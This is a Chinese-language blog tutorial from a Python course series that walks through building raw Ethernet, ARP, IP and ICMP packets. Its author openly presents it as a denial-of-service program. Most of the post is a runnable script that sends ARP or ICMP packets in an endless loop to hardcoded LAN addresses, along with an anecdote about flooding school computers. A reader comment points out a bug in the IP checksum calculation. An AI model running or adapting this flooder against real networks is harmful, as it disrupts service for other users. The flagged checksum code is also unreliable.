2016年9月2日 星期五

用Python寫一個送封包的程式

標題打得很保守,實際標題取作「如何用Python寫一隻DOS攻擊程式」或許也OK
這一篇接在用Python寫一個簡單的Sniffer的後面
了解封包拆解的過程後,組封包也就沒那麼難以理解了
投影片一樣在Python 教育訓練課程

我在大學專題時,接觸了不少 DOS攻擊程式,其它還有木馬、蠕蟲等等
第一隻自已寫的DOS程式,一樣是使用 winpcap 寫的
當時除了是課程要求之外,實際上還為了測試網卡到底可以送多快
寫了一隻 ICMP Flooding,拿去學校電腦試引擎
記憶中好像是每秒可以打13萬左右,然後…電腦就重開機了…
學校的防火牆做得還不錯嘛…哼!

程式方面,因為時間不夠的關係
只寫了ARP和ICMP Flooding

原始碼
  1. # -*- encoding: utf-8 -*-
  2. from __future__ import print_function
  3.  
  4. import struct
  5. import socket
  6. import binascii
  7. import sys
  8.  
  9. TESTCASE_ARP = 0
  10. TESTCASE_ICMP = 1
  11.  
  12. Interface = "eno50332184"
  13.  
  14.  
  15. def arp_generator():
  16. arp = arp_header('448a5b468c24', '192.168.20.131', '000000000000', '192.168.20.1')
  17. eth = eth_header('448a5b468c24', 'ffffffffffff', '0806')
  18.  
  19. frame = [eth, arp]
  20. return b''.join(frame)
  21.  
  22.  
  23. def icmp_generator(proto_base=socket.IPPROTO_RAW):
  24. payload = b"Hello World!"
  25. total_len = len(payload)
  26.  
  27. # calc icmp checksum
  28. icmp_psh = icmp_header(0x08, 0x0, 0, 1, 1)
  29. icmp_check = checksum(icmp_psh + payload)
  30. icmp = icmp_header(0x08, 0x0, icmp_check, 1, 1)
  31.  
  32. # Generate ICMP header only
  33. if proto_base == socket.IPPROTO_ICMP:
  34. return icmp + payload
  35.  
  36. payload = icmp + payload
  37. total_len = len(payload)
  38.  
  39. # calc ip checksum
  40. ip_psh = ip_header('192.168.20.1', '192.168.20.129', 0x01, id=0x1234)
  41. ip_check = checksum(ip_psh + payload)
  42. ip_total_length = 20 + total_len # ip header default is 20, if no option
  43. ip = ip_header('192.168.20.1', '192.168.20.129', 0x01, id=0x1234, Checksum=ip_check, Total_Len=ip_total_length)
  44.  
  45. payload = ip + payload
  46. total_len = len(payload)
  47.  
  48. eth = eth_header('000c29c2f9a4', '10c37b914fc9', '0800')
  49.  
  50. frame = [eth, payload]
  51. return b''.join(frame)
  52.  
  53.  
  54. def checksum(data):
  55. length = len(data)
  56. s = 0
  57. n = length % 2
  58.  
  59. # type(data) is bytes in python3
  60. if sys.version_info[0] > 2:
  61. for i in range(0, length - n, 2):
  62. s += data[i] + (data[i + 1] << 8)
  63. if n:
  64. s += data[-1]
  65. else: # type(data) is str, not bytes in python2
  66. for i in range(0, length - n, 2):
  67. s += ord(data[i]) + (ord(data[i + 1]) << 8)
  68. if n:
  69. s += ord(data[-1])
  70.  
  71. while (s >> 16):
  72. s = (s & 0xFFFF) + (s >> 16)
  73. s = ~s & 0xffff
  74.  
  75. return s
  76.  
  77.  
  78. def arp_header(SMAC, SIP, DMAC, DIP, HTYPE=0x0001, PTYPE=0x0800, HLEN=0x06, PLEN=0x04, OPER=0x01):
  79. """Generate arp header
  80. HTYPE : Ethernet = 0x0001,
  81. PTYPE : IPv4 = 0x0800,
  82. HLEN : IEEE 802 MAC addresses = 6,
  83. PLEN : IPv4 = 4,
  84. OPER : Request = 0x01; Reply = 0x02
  85. :return: arp header
  86. """
  87. return struct.pack("!HHBBH6s4s6s4s",
  88. HTYPE, PTYPE, HLEN, PLEN, OPER,
  89. binascii.a2b_hex(SMAC), socket.inet_aton(SIP),
  90. binascii.a2b_hex(DMAC), socket.inet_aton(DIP))
  91.  
  92.  
  93. def icmp_header(Type=0x08, Code=0, Checksum=0, id=0, seq=0):
  94. """Generate a ICMP header
  95. :param Type: Echo request = 0x08
  96. :param Code: 0
  97. :param Checksum:
  98. :return: icmp header
  99. """
  100. if Type == 0x08:
  101. return struct.pack("!BBHHH", Type, Code, socket.htons(Checksum), id, seq)
  102. else:
  103. return struct.pack("!BBH", Type, Code, socket.htons(Checksum))
  104.  
  105.  
  106. def ip_header(SIP, DIP, proto, version=0x04, IHL=0x05, DiffServ=0, ECN=0, Total_Len = 0, id=0, Flags=0x02, Frag_offset=0, TTL=0xff, Checksum = 0):
  107. """Generate ip header
  108. Version : 4,
  109. IHL : Header length / 4
  110. DiffServ : default is 0
  111. ECN :
  112. Total length: 20 ~ 65535
  113. id :
  114. Flags : Dont Fragment (DF) = 0x02; More Fragments (MF) = 0x01
  115. Frag_Offset :
  116. TTL : 0 ~ 255
  117. proto : Define the protocol used in the data portion of the IP data
  118. checksum :
  119. SIP : source IP address
  120. DIP : destination IP address
  121. :return: ip header
  122. """
  123. ip_ver_ihl = (version << 4) + (IHL & 0x0f)
  124. ip_serv_ecn = (DiffServ << 2) + (ECN & 0x03)
  125. ip_flag = (Flags << 13) + (Frag_offset & 0x1fff)
  126. return struct.pack("!BBHHHBBH4s4s",
  127. ip_ver_ihl, ip_serv_ecn, Total_Len, id, ip_flag,
  128. TTL, proto, socket.htons(Checksum),
  129. socket.inet_aton(SIP), socket.inet_aton(DIP))
  130.  
  131.  
  132. def eth_header(SMAC, DMAC, type):
  133. return struct.pack('!6s6s2s',
  134. binascii.a2b_hex(DMAC), binascii.a2b_hex(SMAC),
  135. binascii.a2b_hex(type))
  136.  
  137.  
  138. def linux_main():
  139. rawSocket = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
  140.  
  141. # Bind the interface, likes eth0
  142. rawSocket.bind((Interface, 0))
  143.  
  144. if TESTCASE_ARP:
  145. # Generate a arp packet
  146. packet = arp_generator()
  147. elif TESTCASE_ICMP:
  148. # Generate a icmp packet
  149. packet = icmp_generator()
  150. else:
  151. print("No test case exist, quit")
  152. return
  153.  
  154. # flooding here
  155. i = 0
  156. while True:
  157. i += 1
  158. print("\rSending {0}...".format(i), end='')
  159. rawSocket.send(packet)
  160.  
  161. rawSocket.close()
  162.  
  163.  
  164. def windows_main():
  165. if TESTCASE_ARP:
  166. return
  167. elif TESTCASE_ICMP:
  168. rawSocket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
  169.  
  170. # Generate a icmp packet
  171. packet = icmp_generator(socket.IPPROTO_ICMP)
  172. else:
  173. print("No test case exist, quit")
  174. return
  175.  
  176. # Bind a interface with public IP
  177. HOST = socket.gethostbyname(socket.gethostname())
  178. rawSocket.bind((HOST, 0))
  179. print("Bind a interface : {0}".format(HOST))
  180.  
  181. # flooding here
  182. i = 0
  183. while True:
  184. i += 1
  185. print("\rSending {0}...".format(i), end='')
  186. rawSocket.sendto(packet, ('192.168.20.129', 0))
  187.  
  188. rawSocket.close()
  189.  
  190.  
  191. if __name__ == '__main__':
  192. if sys.platform.lower().startswith("win"):
  193. windows_main()
  194. else:
  195. linux_main()
  196.  
老實說,寫得沒有很好
本來是想寫成class,然後用繼承的方式
以後再說唄

1 則留言:

  1. 板主你好,謝謝你的程式碼有幫助到我,所以我決定也來貢獻一點我的發現。我發現你的ICMP中IP層的checksum算錯,原因是line 40沒有先把ip_total_length加進去一起算checksum,導致結果不正確。

    另外IP層計算checksum時,其實是不需要把他的payload一起丟進去算的,所以line 41寫成 ip_check = checksum(ip_psh)其實就可以了。至於為什麼結果還是會對,原因很簡單,因為payload的部份已經把checksum算好放進去,所以他的sum會是0x0000,不影響line 41的結果。

    感謝

    回覆刪除